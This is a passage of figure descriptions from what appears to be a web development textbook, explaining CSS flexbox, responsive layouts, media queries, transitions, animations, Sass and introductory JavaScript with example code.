justify content: center: Three squares are aligned at centre of a row.

justify content: space-between: Three squares are separated, with space in
between them.

justify content: space-around: Three squares are separately shown with space
in between them, and also between them and parent.

Second illustration below shows vertical alignment using "align-items"
properties as follows:

align-items: flex-start: Three squares are aligned to top, at start of a column.

align-items: flex-end: Squares are aligned to bottom of a column

align-items: center: Squares are vertically aligned in middle of a column.

align-items: space-between. Three squares are vertically aligned and
separated, with space between them.

align-items: space-around: Three squares are vertically aligned and separated,
with space between them, and also between them and parent.

align-items: stretch : Three squares are vertically aligned and stretched across
with no space in between them and between them and parent.

Two row properties and two column properties are shown as follows:



flex-direction: row: Three squares are shown in a row inside a parent.

flex-direction: row-reverse: Squares are shown in a row but in a reverse
order.

flex-direction: column: Three squares are shown in a column inside a parent.

flex-direction: column-reverse: Squares are shown in a column but in a
reverse order.

Last property displayed is flex-wrap: wrap. It shows five separate squares
displayed in two rows. First row shows three squares. Fourth square is partly
shown in both first and second rows, followed by the fifth square.



Figure shows three illustrations. In first illustration, three child items are
shown inside a parent. Cchild items are marked with number 1. Three
properties are displayed above illustration as:

flex-grow: 1

flex-shrink: 1

flex-basis: auto

Three properties are combined into a shorthand property, displayed as:

flex: 1 1 auto.

Text next to illustration reads, "When the flex-grow value of each item is
greater than 0, then each item will grow equally to fill the parent container"

In second illustration, three squares are marked as 1, 2, and 1. Width of the
first child is marked as n, while the width of second child is marked as n * 2.
The property, defined as flex-grow: 2 points to second square. A text next to
illustration reads, "Defines the growth factor of an element relative to the
other items."

In third illustration, first and last squares are marked as 1. Middle square is
larger in size than other two squares and is unmarked. Property, defined as
flex-basis: 200px points to middle square. Text next to illustration reads,
"Defines the default size of the element before the remaining space is
distributed."



The basic layout shown is as follows:

“<div class="container">

<header>

<h1>Site Name</h1>

</header>

<nav>navigation</nav>

<main>Main content</main>

<aside>sidebar</aside>

<footer>footer</footer>

</div>”

It also shows below code labeled as “The parent container is going to use
flexbox layout.”

“.container {

display:flex;

}”

Its result in the browser shows navigation, main content, sidebar, and footer.

It also shows below code labeled as “Tell each of these items to use up all the
available space on their line/row; Instead of trying to fit on one line, let items
wrap to new lines if needed.”

“header {

flex-basis: 100%;



}

footer {

flex-basis: 100%;

}

.container {

display:flex;

flex-wrap: wrap;

}”

Its result in the browser shows navigation, main content, sidebar in one line
and footer in second lineIt also shows below code labeled as “Specify the size
of these elements.”

“nav {

flex-basis: 7em;

}

aside {

flex-basis: 10em;

}”

Its result in the browser shows navigation, main content, sidebar in one line
and footer in second line.

It also shows below code labeled as “Tell this element to grow and use up all
the available space on its line.”

“main {



flex-grow: 1;

}”

Its result in the browser shows navigation, main content at the left end,
sidebar in the right end in one line and footer in second line.



Illustration shows six steps. Step 1 shows a basic layout as follows:

<div class="container">

<header>

<h1>Site Name</h1>

</header>

<nav>navigation</nav>

<main>Main content</main>

<aside>sidebar</aside>

<footer>footer</footer>

</div>

Container property is shown as:

.container {

display:flex;

}

Result is shown in a browser as five squares aligned horizontally. Squares are
named as:

Site name, navigation, Main content, sidebar, and footer.

Text defines this step as "The parent container is going to use flexbox
layout".

Step 2 displays following flex properties along with instructional text in
brackets:



header {

flex-basis: 100%;

}

footer {

flex-basis: 100%;

}

(Text reads, "Tell each of these items to use up all the available space on their
line/row.")

.container {

display:flex;

flex-wrap: wrap;

}

(Text pointing to the wrap property reads, "Instead of trying to fit on one line,
let items wrap to new lines if needed.")

In the browser, the squares labeled as navigation, Main content and sidebar
are displayed in the middle, with Site name displayed on top and footer at the
bottom.

Step 3 shows following flex properties:

nav {

flex-basis: 7em;

}

aside {



flex-basis: 10em;

}

(Text reads, "Specify the size of these elements".)

The browser is similar to the step 2 illustration.

Step 4 shows following flex property:

main {

flex-grow: 1;

}

(Text reads, (Tell this element to grow and use up all the available space on
its line.")

In the browser, the Navigation square is aligned to left, while sidebar square
is aligned to right. Main content square in middle occupies most of space in
that column.

Step 5 is defined with following text: "We can reuse the container style so
that aside column also uses flexbox layout".

Code is displayed as:

<aside>

<h3>See Also</h3>

<section class="browse container">

<div>

<img src="215.jpg" ... >

</div>



....

</section>

</aside>

Browser shows an expanded "Site Name" box on top and a thin footer at
bottom of screen. Three squares in middle column fill up screen vertically.
Square on left shows a list of links, while square on right shows rows of
photographs. Main content area in middle is blank. Following flex properties
are shown below:

.container {

...

align-items: stretch;

}

main {

flex: 1 0 500px;

}

"align-items: stretch" property points to left box in middle column of screen.
An instructional text reads, "Make sure the height of each item within the flex
container stretches to fill the available space."

"flex: 1 0 500px;" property points to "Main" content box in middle column.
Another instructional text reads, "Shorthand notation tells middle column to
fill the available space (flex: 1) but be at least 500px wide."

Step 6 is defined with following text: "Any item within a flexbox can itself
become a flexbox container for its own nested child layouts".

Code is displayed as follows:



<main>

<section class="media">

<div class="media-image">

<img src="bigger.jpg" ...>

</div>

<div class="media-body">

<h3>The British Museum</h3>

<p>The British ...

</div>

</section>

</main>

Flex property is shown as:

.media {

display: flex;

}

Screenshot shows final webpage. Header reads, "Site name". Three columns
are displayed below it. Middle column shows an image on left, and a text
with a heading, "The British Museum" on right, both shown as distinct
columns. Left panel lists four links as Link 1...Link 4. Right panel shows 9
photographs in three rows, under heading "See Also". A thin footer is
displayed at bottom.



Illustration on top shows a website which is aligned to left. Width of design is
fixed at 960px. An extra blank space is shown on right end of screen.
Webpage shows a header, and three columns for "Navigation", main content
and cart details.

Code is shown as follows:

div#wrapper {

width: 960px;

background-color: blue;

}

<body>

<div id="wrapper">

<header>

...

</header>

<div id="main">

...

</div>

<footer>

...

</footer>

</div>



</body>

Illustration at bottom shows same website which is centrally aligned, with
equal space allowed on left and right margins. Code for this alignment is as
follows:

div#wrapper {

width: 960px;

margin-left: auto;

margin-right: auto;

background-color: blue;

}



Illustration on top shows a website which is viewed in landscape mode of a
tablet. Webpage shows three columns and a header.

Illustration at bottom shows same website viewed in regular mode of tablet.
Webpage shows only first two columns. Third column isn't visible because of
fixed length of design. An empty space is displayed below footer.

Text next to screen reads, "The problem with fixed layouts is that they don't
adapt to smaller viewports."



Illustration on top shows a website "Share your Travels" designed with liquid
layout. Three columns fit perfectly according to screen size. A text next to
screen reads, "Fluid layouts are based on the browser window."

Illustration at bottom shows same website shown on a wide screen. Line-
length in middle column expands to fit width of screen. A blank space is
shown near right margin after third column.

Text next to screen reads, "However, elements can get too spread out as the
browser expands."



Illustration on top shows a website, "Fundamentals of Web Development",
displayed on a wide screen. After header and a task bar, design displays
content in three columns. Left column shows an image of chapter, middle
column shows text with hyperlinks, and right column shows another image
for book overview.

Illustration in middle shows same website displayed on a relatively smaller
screen whose width is about 60 percent of first screen. Two images in left and
right columns are shrunken in size in this screen. A text pointing to book
overview image in right column reads, "Notice how some elements are scaled
to shrink as browser window reduces in size."

Last illustration shows a still smaller screen which is less than half in width
of second screen. Website now shows a single column, and displays the
content one below other. A text next to screen reads, "When browser shrinks
below a certain threshold, then layout and navigation elements change as
well."

Another text pointing to a "Blog" menu reads, "In this case, the <ul> list of
hyperlinks changes to a <select> and the two-column design changes to one
column."</select>



Figure shows two screens. Screen on left shows a webpage on a mobile
browser viewport whose width is 960px. A text above the screen reads,
"Mobile browser renders web page on its view port."

Illustration on right shows same webpage rendered on a mobile device whose
screen width is 320px. A scaled down version of website is displayed, with
images and texts displayed in smaller sizes. Text above the screen reads, "It
then scales the viewport to fit within its actual physical screen".



Illustration shows viewport setting in two steps. Step 1 shows a website
rendered on a "Mobile browser" viewport whose width is 320px. Viewport
setting is shown as:

<meta name="viewport" content="width=device-width" />

Text next to screen reads, "Mobile browser renders web page on its viewport
and because of the <meta> setting, makes the viewport the same size as the
pixel size of screen."

Step 2 is defined in following text: "It then displays it on its physical screen
with no scaling." Website is shown on a mobile phone whose screen width is
320px. Because of no scaling, only left part of screen is shown, with rest
being cropped off.



Media query is shown as follows:

@media only screen and (max-width:480px) { ... }

Different parts of this query are highlighted and explained as below:

@media: Defines this as a media query.

only: Only use this style if both conditions are true.

screen: Device has to be a screen.

max-width: 480px: Use this style if width of viewport is no wider than 480
pixels.

{...}: CSS rules to use if device matches these conditions.



Illustration shows three sets of devices along with respective media queries in
styles.css sheet. First device is a mobile phone, shown both in portrait and
landscape modes. Styles.css sheet displays following code:

/* rules for phones */

@media only screen and (max-width:480px)

{

#slider-image { max-width: 100%; }

#flash-ad { display: none; }

...

}

Second device is a tablet, shown both in portrait and landscape modes. Media
query is displayed as:

/* CSS rules for tablets */

@media only screen and (min-width: 481px)

and (max-width: 768px)

{

...

}

Finally a desktop monitor is displayed along with following media query:

/* CSS rules for desktops */

@media only screen and (min-width: 769px)



{

...

}

Rules are also displayed separately as shown below:

<link rel="stylesheet" href="mobile.css" media="screen and (max-
width:480px)" />

<link rel="stylesheet" href="tablet.css" media="screen and (min-
width:481px)

and (max-width:768px)" />

<link rel="stylesheet" href="desktop.css" media="screen and (min-
width:769px)" />

Text above this code reads, "Instead of having all the rules in a single file, we
can put them in separate files and add media queries to <link> elements."



Three design patterns are displayed in three rows. Each row shows 3 to 4
browsers of different widths, starting from the smallest on the left. Illustration
shows how the page content changes for a particular design pattern as the
browser width changes.

First pattern on top is labeled as "Mostly Fluid". For a browser with smallest
width, it stacks columns vertically, displaying content one below the other.
As browser width increases, screen shows two or three columns one below
the other. For wide screens, extra space is filled up with empty margins
around columns.

Second pattern is labeled as "Column Drop". When browser width is small,
this pattern stacks columns vertically. As browser width increases, design
fills up extra space with additional columns, without leaving any empty
margins.

Last pattern at botttom is labeled as "Off Canvas". It shows columns stacked
horizontally, highlighting prominently accessed content. As browser size
increases, more columns come into view. For a wide screen, design uses extra
space to fill up empty space around columns.



The first window is pointed by a code shown below:

<picture>

<source media="(min-width: 960px)" srcset="images/828-large.jpg">

The second window is pointed by a code shown below:

<source media="(min-width: 480px)" srcset="images/828-medium.jpg">

The third window is pointed by a code shown below:

<img alt="..." src="images/828-small.jpg">

</picture>

if "(min-width:960px)" is true then use this as the src for the <img>, If "(min-
width: 480px)" is true, then use this as the src for the <img> Otherwise use "
src="images/828-small.jpg">.



Image shows a painting of an aristocratic young woman wearing a feather
hat. Twelve different versions of this image are displayed in three rows, with
image captions displaying respective CSS3 filter used. Left image of top row
shows original painting. Second image in that row is captioned as
"saturate(3)". Colors are saturated and highlighed in this image. Third image's
caption reads "grayscale(100 percent)", and is displayed in black and white.
Fourth image in row, labeled as "contrast(200 percent)" shows colors in strak
contrast.

First image in second row is captioned as "brightness(30 percent)", and
shows picture in dull light. Second image is blurrred, and is captioned
"blur(3px)". Third image shows a negative shade of photo, and is captioned
as "invert(100 percent)". Last image, shown in sepia colors is captioned as
"sepia(100 percent)".

Last row shows four images, first of which is labeled as "huerotate(90 deg)".
It's shown in a prominent green hue. Second image is captioned as
"opacity(50 percent)". It appears as though captured through a translucent
glass. Third image has following caption, "brightness(1.5) contrast(3)
grayscale(60%) invert(23%) sepia(20%)". Appropriate properties mentioned
in the caption are applied on image which has a dull look. Last image is
captioned as, "brightness(1.3) contrast(1.1) hue-rotate(180deg)
saturate(200%)". Image has a bright blue hue, with properties mentioned in
the caption applied on it.



Figure shows a square button in four different states on a horizontal
continuum. Left image shows button as it normally appears, with a dark
green background, and "Button" written in a white colored font. When mouse
hovers over the button, its background color transitions gradually from dark
green to light green. Two images in middle show this gradual transition
between two states. Last image on right shows button as it appears when
hovered over.

Illustration shows the following code for dark green color, when mouse is not
over the button:

button {

background-color: #146d37;

It shows another code for light green color, when mouse hovers over the
button as follows:

button:hover {

background-color: #60b946;

}

Four lines of code are displayed, illustrating properties of color transition.
Each line also shows text in question-answer format, which points to LHS
and RHS parts of code, explaining transition. Codes and texts (in brackets)
are displayed as follows:

1) transition-property: background-color;

(Which CSS property of the button is going to be transitioned across time? :
We will transition the background color of the button across time.)

2) transition-duration: 0.5s;

(How long is the transition?: The transition will last half a second.)



3) transition-timing-function: ease-out;

(What will be the rate transition change?: The transition will slow down
towards the end.)

4) transition-delay: 0s;

(Do we delay the start of the transition?: No delay (transition will start
immediately))

Three small graphs plotting value against time are displayed. First labeled as
"linear" shows a diagonal line from zero point. Second labeled as ease-out,
shows an upward sloping line from zero point moving away from y axis. And
the third, labeled as "ease-in", shows an upward sloping line from zero point
moving towards y axis.



Figure shows two screens. In first screen, left menu is hidden and shows only
a thin vertical bar with an arrow. Second screen on right shows mouse pointer
on vertical bar of the menu. Menu is now displayed in full, showing a list of
links one below other as "Home", "Blogs", "Photos", and "Contact".

Text below screens reads, "When the user hovers the mouse over the visible
part of the menu <div>, it appears to “slide” out from the left and become
visible."

Code for menu is displayed as follows:

<nav class="menu">

<p><i class="fa fa-chevron-right"></i></p>

<ul>

<li><a href="#">Home</a></li>

<li><a href="#">Blogs</a></li>

<li><a href="#">Photos</a></li>

<li><a href="#">Contact</a></li>

</ul>

</nav>

Illustration shows menu properties used in this transition, along with
explanatory text, as follows:

.menu {

</nav>

position: absolute;



left: -210px;

} (Menu is initially hidden by being positioned outside the visible area)

.menu:hover {

left: 0; (When the user hovers over the menu, move the left edge of the
element to left edge of the browser (i.e., it will now be visible).)

transition: left .6s ease-out;

} (Using the transition shorthand property...Transition the left property across
0.6 seconds and use the ease-out function (i.e., slow down transition at end)

.menu {

transition: left .6s ease-out;

} (We want the same transition when the mouse is no longer hovering over
the menu. This creates illusion of menu sliding back out of sight.)



Figure shows two screens. First screen displays a webpage titled as "Share
Your Travels". Page shows a row of four photos which are not in hover state.
Each photo has a white background color and a black caption. Figure
properties are shown in the following code:

figure {

background-color: white;

color: black;

width: 200px;

transition: all 0.6s ease-out 0.25s;

}

Text pointing to "all" keyword in the "transition" line reads, "Transition all
properties back to their original values when not in hover state"

Second screen below gives a view of webpage when a mouse hovers over one
of photos. Photo is scaled up to almost twice its original size. White
background changes to black, and black caption changes to white. Image box
also shows a shadow effect.

Change in figure properties is shown in following code:

figure:hover {

background-color: #263238;

color: white;

transform: scale(1.75);

box-shadow: 10px 10px 32px -4px rgba(0,0,0,0.75);

transition: all 1s ease-in 0.25s;



}

Text pointing to four properties of code reads, "In the hover state, we are
changing these four properties."

Another text pointing to the "all" keyword in the "transition" line reads, "So
we will use the all keyword to tell browser to transition all properties that
have changed."



Illustration shows two squares to depict "Transition". Blue square on left is
labeled as "begin state". It transitions into a bigger green square on right
which is tilted as "end state". Transition is shown as a dotted arrow pointing
from left square to right square. Two texts explain transition as follows:

"A transition alters one or more CSS properties across time."

"It has a begin state and then it transitions to end state. It also needs an
explicit trigger (such as hovering)."

Two similar squares are shown below representing animation. A zig-zag
arrow is drawn from left square to right, with four distinct nodes. Three texts
explain animation as follows:

"An animation also alters one or more CSS properties across time."

"But you can define keyframes that give you more control over the
intermediate steps between the begin and end state."

"No trigger is needed: an animation begins once it is defined. As well, you
can also loop an animation."



Figure shows an x-y quadrant where x axis ranges from 0 percent to 100
percent. A horizontal bar ranging from 0 to 2 seconds is displayed beneath x
axis. Five equavalent points are marked on x axis and horizontal bar as
follows:

0 percent: 0 seconds

30 percent: 0.6 seconds

50 percent: 1 second

70 percent: 1.4 seconds

100 percent: 2 seconds

Figure shows a block of text, "Animate me", which comes into view in x-y
quandrant, grows in size as it changes colors, and then reduces in size. Text-
block originates near zero point where it is faded out and shown in a small
font. It then rises up on an upward slope, growing bigger in size as it rises,
and also changing font colors. Text-block reaches a peak at 70 percent value
on x axis, or at 1.4 seconds on horizontal band. It then moves on a short
downward slope, reducing in size and also changing colors as it reaches 100
percent on x axis.

Keyframe set used for this animation is shown below, along with
instructional text next to respective line.

.animated {

animation-iteration-count: infinite; (Run animation indefinetly)

animation-name: bounceIn; (Play animation named bounceIn)

animation-play-state: running; (Play animation once it is defined)

animation-duration: 2s; (Animation lasts 2 seconds)

animation-timing-function: ease-out; (Slow animation towards the end)



animation-delay: 1s; (Wait a second before starting animation)

}

.animated:hover {

animation-play-state: paused; (Pause the animation by hovering over it

(useful for debugging only))

}



First screen in background shows webpage for CRM Admin. A header
displays title and three notification buttons. Three columns are shown below
header. Column on the left displays a list of links below the profile picture of
the logged in user. The middle column shows a table titled as "Customers".
The table lists the names of the customers, and also shows university, city
and sales details for each customer. The column on the right contains two
forms: one which displays customer details, and the other which displays
order details.

The second screen in the foreground shows a webpage titled as "Share Your
travels". The header shows the title and a few navigation buttons along with a
search box. The footer displays an explanatory text about the webpage along
with social media links. It also gives quick links for recent posts, and shows a
contact form.

The design shows three columns between the header and footer. The left
column has two navigation bars that list the continents and countries. The
middle section shows an expanded photograph of a selected image, with
associated text displayed beneath. A row of similar images are shown below
under "Related photos". The right column gives further information about the
selected photo.



Illustration shows two screens. Screen on left shows a grid of seven columns
of equal dimensions. Columns are placed inside a bigger square. A text
content is displayed in screen along with two images, a left side-note and a
foot note.

Text below the screen reads, ""Most page design begins with a grid. In this
case, a seven-column grid is being used to layout page elements in Adobe
InDesign.""

Screen on right shows same webpage but without gridlines. Text below the
screen reads, ""Without the gridlines visible, the elements on the page do not
look random, but planned and harmonious.""



Screenshot shows top half of a website titled "Art Store". The entire header
section is marked as "header block". A horizontal list of menu items is
displayed below the Page title. This list is marked as "menu block". A search
box along with the search button inside the header block is marked as "search
block". And a box labeled as "Cart" in the right column is marked as "Cart
block".

The figure also identifies elements and modifiers inside these blocks. Search
box is marked as an element. In menu block, a drop-down titled as "specials"
is marked as element while "Home" button is marked as modifier. In the cart
block, a selected item is marked as an element while the subtotal value is
marked as modifier.



Screen in background shows style guide for a website titled,
"Healthcare.gov". Left bar shows two expanded menu items showing various
components and patterns. Main part of screen, titled as "Example and Code"
shows three buttons of various sizes, and the code that renders them.

The screen in foreground shows style guide for a website titled "lonely
planet". A task bar shows various tabs from which "UI Components" is
selected. Left bar lists various components. Central section titled Buttons,
shows four types of buttons in different colors along with respective codes.



Figure shows a block of "Sass source file", with four explanatory texts as
follows:

$colorSchemeA: #796d6d;

$colorSchemeB: #9c9c9c;

$paddingCommon: 0.25em; (This example uses Sass (Syntactically
Awesome Stylesheets). Here three variables are defined.)

footer {

background-color: $colorSchemeA;

padding: $paddingCommon * 2;

} (You can reference variables elsewhere. Sass also supports math operators
on its variables.)

@mixin rectangle($colorBack, $colorBorder) {

border: solid 1pt $colorBorder;

margin: 3px;

background-color: $colorBack;

} (A mixin is like a function and can take parameters. You can use mixins to
encapsulate common styling.)

fieldset {

@include rectangle($colorSchemeB, $colorSchemeA);

} (A mixin can be referenced/called and passed parameters.)

.box {



@include rectangle($colorSchemeA, $colorSchemeB);

padding: $paddingCommon;

}

Source file (example, source.scss) is passed through a "Sass processor",
which is defined as some type of tool that the developer would run.

Processor gives an output, which is defined as a normal CSS file that would
then be referenced in the HTML source file.

Code for Generated CSS file (example., styles.css), is shown as below:

footer {

padding: 0.50em;

background-color: #796d6d;

}

fieldset {

border: solid 1pt #796d6d;

margin: 3px;

background-color: #9c9c9c;

}

.box {

border: solid 1pt #9c9c9c;

margin: 3px;

background-color: #796d6d;



padding: 0.25em;

}



Figure shows a command line terminal which displays the following code:

~/workspace $ cd scss

~/workspace/scss $ sass styles.scss styles.css (a text pointing to this line
reads, "You can use Sass compiler to compile SCSS file into regular CSS.")

~/workspace/scss $ cd ..

~/workspace/scss $ sass --watch scss:css (another text pointing to this line
reads, "You can also tell Sass to watch a folder or file for any changes. When
the source SCSS file changes, Sass will automatically compile and generate
the CSS.")

>>> Sass is watching for changes. Press Ctrl-C to stop.

write css/styles.css

write css/styles.css.map



Figure shows two screens. Screen in background shows a list of CSS files in
scss folder under Chapter 7. One of the files is selected, and from right-click
options, "compile 'sass1.scss' option is selected.

Screen in foreground shows various css files listed in a "Koala" program.
Left bar shows chapter title as "Chapter 7". Right bar displays various
checkboxes to select before hitting "compile" button at bottom.



Screen shows a website titled as "Dutch Portraits of the Golden Age" (from
the Rijks Museum). Title is displayed on top of a header image. Text pointing
to this title reads, "Use absolute positioning to place banner text on top of
banner image."

Beneath header, page shows two containers under title, "Latest additions".
Each container holds an image and a summary text along with a "Read more"
link. Text pointing to left container reads, "Float this container to left.".
Another text pointing to image in right container reads, "Float this “div”
right." Text pointing to the "Read more" marked with, "Float this link right."

Page then shows 11 images arranged according to a design. A miniature
design, labeled as "map of images" is displayed next to screen, with each of
image positions labeled from "a" to "k". Space between two images is marked
as "10px space". Width of smallest image is marked as "285px X 190px".
Width of largest image is marked as "580px X 390px". Height of one of
images is marked as "285px X 390px".



Header of webpage shows, title "CRM Admin". Text pointing to this title
reads, "Float to left". Another text pointing to a menu link reads, "Float to
right".

The page shows eight card containers in two rows. Each container shows
front page of a book and a short summary underneath along with a "See
more" button. Text pointing to one of container reads, "Card container uses
display:flex". Another text pointing to a card inside container reads, "Each
card has width: 24 percent". A mouse-hover points to "See more" button in
one of containers. Text below reads, "When hovering over the card, add a
transition on the opacity property of the button."

Illustration also shows three screens of smaller widths which display same
webpage. First screen show webpage whose width is shrunk. Card containers
are elongated to accomodate images and content. Text beneath this screen
reads, "flexbox shrunk to smaller size keeps shrinking columns so that they
take up 24% of available space. This needs to be fixed using media queries!"

Second screen shows webpage rendered on a tablet. Screen shows two card
containers, each displaying an image and summary. Text below reads,
"Tablet width after media query added."

Third screen shows same webpage displayed on a mobile phone screen. It
shows a single card container. Text below the screen reads, "Mobile width-
notice that header shrinks in size also."



Basic structure of the main row is displayed above webpage. It shows a
column on left, and two rows to right. Second row is nested, containing two
column elements.

Structure of footer row is displayed below webpage. It shows three columns,
with first column holding two rows, second of which is a nested row.

Webpage shows a header that displays webpage title, a navigation bar and a
search box. The container holding these elements is identified as "NavBar".

Space between header and footer is marked as "Main row". Left bar in this
section shows a list of continents and a list of countries. Middle section
shows an image of "Temple of Hephaistos", with an image caption displayed
below it. Right panel displays more information about this image.

A group of buttons are displayed below the panel inside a "Button group"
container. Another panel titled "Tags" holds a few buttons, each with a
"label".

Four images are displayed below under the caption, "Related Photos". Each
of these photos is marked as a "Thumbnail". Two buttons are displayed
beneath each photo, marked as "Button groups".

The footer row displays additional information about the "Share your travels"
webpage. A row of links under title "Follow us" is marked as "Glyphicons".
A column shows three hyperlinks added under "Recent Posts". These are
marked as "Media objects".



First step shows a client machine sending a request as "GET /vacation.html"
to Web Server. Second step shows Web Server responding by sending
"vaction.html" to client. A small page next to arrow from server to client
shows script as follows:

<body>

<h1>heading</h1>

<script>

var url = ...

window.open(

Third step is described as "Execute any Javascript as required" at client
machine. Final step shows an arrow pointing from client machine to a
browser page. A text next to arrow reads, "Browser can layout and display
the page to the user."



First step shows a client machine sending a request as "GET /vacation.html"
to web Server. Second step shows "Web Server" responding by sending
"vaction.html" to client. A small page next to arrow from server to client
shows script as follows:

<body>

<object

data="game.swf">

Third step shows client send out another request as "GET /game.swf" to
server machine. Fourth step server responds again by sending a flash file,
labeled as game.swf to client.

Fifth step shows an arrow pointing from "Browser" to a "Flash" plug-in. A
text next to arrow reads, "Browser delegates handling of game.swf to plug-
in." Sixth step shows text at Flash plug-in which reads, "Plug-in executes swf
file".



"First step shows a client machine sending a request as "GET /vacation.html"
to "Web Server". Second step shows "Web Server" responding by sending
"vaction.html" to the client. A small page next to the arrow from server to
client shows script as follows:

<body>

<applet

code="ab.class">

Third step shows client send out another request as "GET /ab.class" to server
machine. In fourth step server responds again by sending a class file, labeled
as "ab.class" to client. A coffee mug drawn next to the file indicates that this
is a java class file.

Fifth step shows an arrow pointing from browser to a flash plug-in. A text
next to arrow reads, "Browser delegates handling of ab.class to plug-in." In
the sixth step, another arrow points from Java plug-in to"Java Runtime
Environment". Text next to the arrow reads, "Plug-in passes control to JRE".
Seventh step shows a text at "Java Runtime Environment" platform which
reads, "JRE executes ab.class".



Illustration shows a rectangular mat labeled as Javascript today. Various
icons are drawn on this rectangle, representing different usages and
applications of Javascript. Icons and respective role of Javascript are
illustrated as follows:

A laptop displaying a website: Used to create browser extensions.

A database structure: Query languages within nonrelational databases.

A server stack: Server-side web development language.

A funnel holding various zeros and ones: Several other programming
languages can be transcompiled into Javascript.

Two images projected on vertical glasses: Scripting languages within other
nonbrowser applications.

A webpage displayed on a glass-like structure: Used to create sophisticated
desktop-like applications that run within the browser.

Four color boxes: There are countless JavaScript frameworks, libraries, and
plugins.

A robotic structure: Javascript is becoming the language of Internet of
Things.

A microchip: Javascript interpreters are available within many
microcontrollers.

A mobile phone and a smart watch: Used for application creation in mobile
operating systems.



Screenshot shows command line interface of a browser that uses Lynx
software. Title page of book, "Fundamentals of Software development" is
displayed. Page shows contents in simple text format, without any images or
graphics. A part of content displayed is as follows:

Fundamentals of Web Development

Site powered by Wordpress

Book published by Pearson Ed

Type text to search

*About

*Book overview

*Table of contents

*Chapters

-Chapter 1

-Chapter 2

…

-Chapter11

Links

(Normal link) Use right arrow or <return> to activate



Screenshot shows a webpage with no images or graphics but only text
content. The url is shown as http://funwebdev.com. Some of the content in
webpag is as follows:

Webpage: Fundamentals of Web Development

Link: Fundamentals of Web Development

Site powered by Wordpress

Book published by Pearson Ed

Link: See images used in book on flickr.

Link: More about authors on Linkedin.

Link: Twitter

Link: Visit us on Facebook

Text input box: Type text to search

Link: About

Link: Book Review

Link: Table of Contents

Link: The Authors

Link: Pedagogical Elements

Link: Samples

Link: Chapters

Link: Chapter 1



...

Link: Chapter 9

Link: Chapter 11

Link: Presentations

Link: Blog

Link: Tools

Link: IP Address

Select Item: (About)

true 600 7000 true true 0 true true fade true



Figure shows four lines of Javascript code, and also shows texts describing
each part of code, as follows:

var abc;

This code defines a variable named abc. A text pointing to the semicolon in
this line reads, "Each line of Javascript should be terminated with a
semicolon".

var def = 0;

A text pointing to this line reads, "A variable named def is defined and
initialized to 0"

def= 4 ;

Two texts pointing to this line read as follows: "def is assigned the value of
4". "Notice that whitespace is unimportant".

def =

"hello" ; (this code is displayed in two lines). Two texts pointing to this line
read as follows: "def is assigned the value of "hello". "Notice that a line of
JavaScript can span multiple lines".



Screenshot shows a webpage with no images or graphics but only text
content. The url is shown as http://funwebdev.com. Some of the content in
webpag is as follows:

Webpage: Fundamentals of Web Development

Link: Fundamentals of Web Development

Site powered by Wordpress

Book published by Pearson Ed

Link: See images used in book on flickr.

Link: More about authors on Linkedin.

Link: Twitter

Link: Visit us on Facebook

Text input box: Type text to search

Link: About

Link: Book Review

Link: Table of Contents

Link: The Authors

Link: Pedagogical Elements

Link: Samples

Link: Chapters

Link: Chapter 1



...

Link: Chapter 9

Link: Chapter 11

Link: Presentations

Link: Blog

Link: Tools

Link: IP Address

Select Item: (About)

true 600 7000 true true 0 true true fade true



Upper half of screen, labeled as "Web page content" shows following two
lines:

Sample web page

some body text

Lower half shows JavaScript console. It shows a taskbar with various tabs
like Elements, Console, Sources etc. Following lines displayed are labeled as
"Output from console.log()expressions":

27

new value

hello

Number: primitive value: 27

[200, 35, 25]

Last four lines show following variables:

abc

27

def

"new value".

Text pointing to these lines reads, "Using console interactively to query value
of JavaScript variables"



Illustration shows a code block as follows:

<html>

<head>

<script>

document.write('here in the head');

document.write('<meta charset="UTF-8">');

document.write('<link href=styles.css>');

</script>

</head>

<body>

<script>

document.write("in the body");

document.write("<h1>Heading</h1>");

</script>

</body>

</html>

Code displays three "document.write" methods in the <head> function.
Second and third methods are highlighted and a text pointing to them reads,
"We want this to appear here, in the <head>".

Illustration shows a Javascript console below where above code is run. The
"Inspector" tab in the console displays HTML content (both static and



dynamic). Two lines of document.write methods---meta charset and link href-
-are shifted from <head> function to <body> function . A text pointing to this
shift reads, "Notice that this content shows up in <body> instead of <head>.
Why?"

An arrow points to very first "document.write" method. Text next to this
arrow reads, "The appearance of this line will shift following write() calls to
<body>".

As a result, the generated content in browser is as follows:

here in the head in the body (displayed in normal font instead of bold).

Heading (displayed in bold font and increased font size).



Illustration shows a code block as follows:

<html>

<head>

<script>

document.write('here in the head');

document.write('<meta charset="UTF-8">');

document.write('<link href=styles.css>');

</script>

</head>

<body>

<script>

document.write("in the body");

document.write("<h1>Heading</h1>");

</script>

</body>

</html>

Code displays three "document.write" methods in the <head> function.
Second and third methods are highlighted and text pointing to them reads,
"We want this to appear here, in the <head>".

Illustration shows a Javascript console below where above code is run. The
"Inspector" tab in the console displays HTML content (both static and



dynamic). Two lines of document.write methods---meta charset and link href-
-are shifted from <head> function to <body> function . Text pointing to this
shift reads, "Notice that this content shows up in <body> instead of <head>.
Why?"

An arrow points to very first "document.write" method. A text next to this
arrow reads, "The appearance of this line will shift following write() calls to
<body>".

As a result, the generated content in browser is as follows:

here in the head in the body (displayed in normal font instead of bold).

Heading (displayed in bold font and increased font size).



!The line of code is shown as follows:

for (var i = 0; i < 10; i++) {

// do something with I

//..

}

In this line, var i=0 is labeled as initialization, i<10 is labeled as



Illustration shows two rectangular boxes grouped under "years Variable".
First box is labeled as "Indexes", and second box is labeled as "Values".
Boxes are divided into three sections each, where each section holds a
numerical value. Arrows are drawn from each section of Indexes to a section
in variables as follows:

0 to 1855

1 to 1648

2 to 1420.

Bottom part of illustration shows an array labeled as "Month". It shows four
boxes, numbered from 0 to 3. Each box has two horizontal sections,
subdivided into five more parts. Top section holds numbers from 0 to 4 while
bottom section holds five days of week from Monday to Friday.

A code labeled as "month[0][3] points to the 0 box and 3rd section. Another
code labeled as month[3][2] points to the 3rd box and 2nd section.



A code block is displayed as follows:

function calculateTotal(price,quantity) {

var subtotal = price * quantity;

return subtotal + calculateTax(subtotal);

}

A second code block is displayed after return statement, as follows:

function calculateTax(subtotal) {

var taxRate = 0.05;

var tax = subtotal * taxRate;

return tax;

}

An arrow points from this codeblock to beginning of loop in first codeblock.
Text next to arrow reads, "Function declaration is hoisted to the beginning of
its scope".

Another code block is displayed as follows:

function calculateTotal(price,quantity) {

var subtotal = price * quantity;

return subtotal + calculateTax(subtotal);

}

A codeblock is shown after the return statement above, as follows:



var calculateTax = function (subtotal) {

var taxRate = 0.05;

var tax = subtotal * taxRate;

